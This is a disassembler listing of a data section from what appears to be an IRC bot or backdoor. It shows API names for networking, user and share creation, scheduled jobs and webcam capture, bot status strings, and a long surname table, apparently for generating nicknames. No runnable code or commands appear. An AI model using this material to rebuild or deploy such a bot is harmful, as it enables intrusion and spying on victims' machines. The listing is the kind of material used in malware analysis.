aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409DD4+53Ao
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409DD4+547o
		align 4
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409DD4+554o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409DD4+561o
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409DD4+56Eo
		align 10h
aSocket		db 'socket',0           ; DATA XREF: sub_409DD4+57Bo
		align 4
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409DD4+588o
aConnect	db 'connect',0          ; DATA XREF: sub_409DD4+595o
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409DD4+5A2o
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409DD4+5AFo
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_409DD4+5BCo
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409DD4+5C9o
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409DD4+5D6o
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409DD4+5E3o
		align 4
aSend_1		db 'send',0             ; DATA XREF: sub_409DD4+5F0o
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_409DD4+5FDo
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409DD4+60Ao
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409DD4+617o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409DD4+629o
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_409DD4+631o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409DD4+63Eo
		align 10h
aAccept		db 'accept',0           ; DATA XREF: sub_409DD4+64Bo
		align 4
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409DD4+658o
		align 4
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409DD4+665o
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409DD4+672o
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409DD4+67Fo
		align 4
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409DD4+68Co
		align 4
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409DD4+699o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409DD4+6A6o
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409DD4:loc_40A5B3o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409DD4+7F0o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409DD4+7F8o
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409DD4+805o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409DD4+812o
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409DD4+81Fo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409DD4+82Co
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409DD4+839o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409DD4+846o
		align 4
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409DD4+853o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409DD4+860o
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409DD4+8D2o
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409DD4:loc_40A6D3o
		align 4
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409DD4+90Co
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409DD4+914o
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409DD4+921o
		align 4
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409DD4:loc_40A732o
		align 4
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409DD4+96Fo
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409DD4+977o
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409DD4+984o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409DD4+991o
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409DD4+99Eo
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409DD4+9ABo
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409DD4+9B8o
		align 4
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409DD4+9C5o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409DD4+9D2o
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409DD4+9DFo
		align 10h
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409DD4+9ECo
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409DD4+9F9o
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409DD4:loc_40A84Eo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409DD4+A87o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409DD4+A8Fo
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409DD4:loc_40A898o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409DD4+AD1o
		align 4
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409DD4+AD9o
		align 10h
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409DD4:loc_40A8E2o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409DD4+B1Bo
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409DD4+B23o
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409DD4+B30o
		align 4
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409DD4+B3Do
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409DD4:loc_40A956o
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409DD4+B8Fo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409DD4+B97o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409DD4:loc_40A9A0o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409DD4+BD9o
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409DD4+BE1o
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409DD4+BEEo
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409DD4+BFBo
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409DD4+C08o
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409DD4+C15o
		align 4
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409DD4:loc_40AA3Eo
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409DD4+C77o
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409DD4+C7Fo
		align 10h
; char aKernel32_dllFa[]
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+28o
		align 4
; char aUser32_dllFail[]
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+5Co
; char aAdvapi32_dllFa[]
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+90o
		align 10h
; char aGdi32_dllFaile[]
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+C4o
		align 4
; char aWs2_32_dllFail[]
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+F8o
; char aWininet_dllFai[]
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+12Co
		align 4
; char aIcmp_dllFailed[]
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+160o
		align 4
; char aNetapi32_dllFa[]
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+194o
		align 10h
; char aDnsapi_dllFail[]
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+1C8o
; char aIphlpapi_dllFa[]
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+1FCo
		align 4
; char aMpr32_dllFaile[]
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+230o
		align 4
; char aShell32_dllFai[]
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+264o
		align 4
; char aOdbc32_dllFail[]
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+298o
; char aAvicap32_dllFa[]
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40AA90+2CCo
		align 4
; char asc_44422C[]
asc_44422C	db '-'                  ; DATA XREF: sub_40AA90+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
a__9:					; DATA XREF: .text:0040ADF0o
		unicode	0, <.>,0
a__10:					; DATA XREF: .text:0040AE08o
		unicode	0, <.>,0
unk_444254	db  2Dh	; -		; DATA XREF: sub_40AE8D+8Co
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
; char asc_444280[]
asc_444280	db '-'                  ; DATA XREF: sub_40AE8D:loc_40AF20o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 10h
unk_4442B0	db  2Dh	; -		; DATA XREF: sub_40AE8D:loc_40AEE6o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_4442D4	db  2Dh	; -		; DATA XREF: sub_40AE8D:loc_40AF52o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
; char asc_444304[]
asc_444304	db '-'                  ; DATA XREF: sub_40AE8D+43o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGetting_0	db 'error getting ARP cache: %d',0
; char aD_D_D_D[]
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AF71+46o
		align 10h
aReal		db 'real',0
		align 4
		dd 0
dword_44434C	dd 0			; DATA XREF: sub_40B44F+7o
off_444350	dd offset sub_40B06A	; DATA XREF: sub_40B44F+49r
aConst		db 'const',0
		align 10h
		dd 1
		dd offset sub_40B0D7
aLetter		db 'letter',0
		align 10h
		dd 0
		dd 2
		dd offset sub_40B135
aComp		db 'comp',0
		align 8
		dd 3
		dd offset sub_40B182
aCountry	db 'country',0
		dd 0
		dd 4
		dd offset sub_40B228
		dd 736Fh, 2 dup(0)
		dd 5
		dd offset sub_40B29D
off_4443B8	dd offset aAbdulrazak	; DATA XREF: sub_40B06A+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_4443C4	dd offset aAddison	; DATA XREF: sub_40B44F+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer_0	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton_0	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
